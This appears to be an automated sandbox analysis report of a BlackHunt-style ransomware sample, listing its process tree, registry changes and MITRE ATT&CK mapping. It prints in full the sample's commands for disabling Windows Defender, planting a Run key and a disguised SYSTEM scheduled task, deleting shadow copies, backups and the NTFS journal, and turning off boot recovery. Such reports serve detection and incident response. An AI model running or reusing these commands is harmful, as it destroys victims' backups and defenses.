PID 4928 wrote to memory of 2516	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	158
PID 4928 wrote to memory of 2516	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	158
PID 4928 wrote to memory of 4540	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	157
PID 4928 wrote to memory of 4540	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	157
PID 4928 wrote to memory of 1772	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	144
PID 4928 wrote to memory of 1772	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	144
PID 4928 wrote to memory of 2588	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	145
PID 4928 wrote to memory of 2588	4928	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe	145

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe
"C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:3436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:4856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:4560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Adds Run key to start application
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe" /F
  2⤵
  PID:968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\5d921904e333a3678f8f5f85da1a4f2f6c9fee5c8bc12fc24b76c6b6cc4518cd.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4844
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5004
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2692
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Modifies registry class
    PID:4856
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4548
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:924
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2968
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3148
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1632
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:116
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  - Modifies registry class
  PID:2816
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3424

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:812

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1836

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery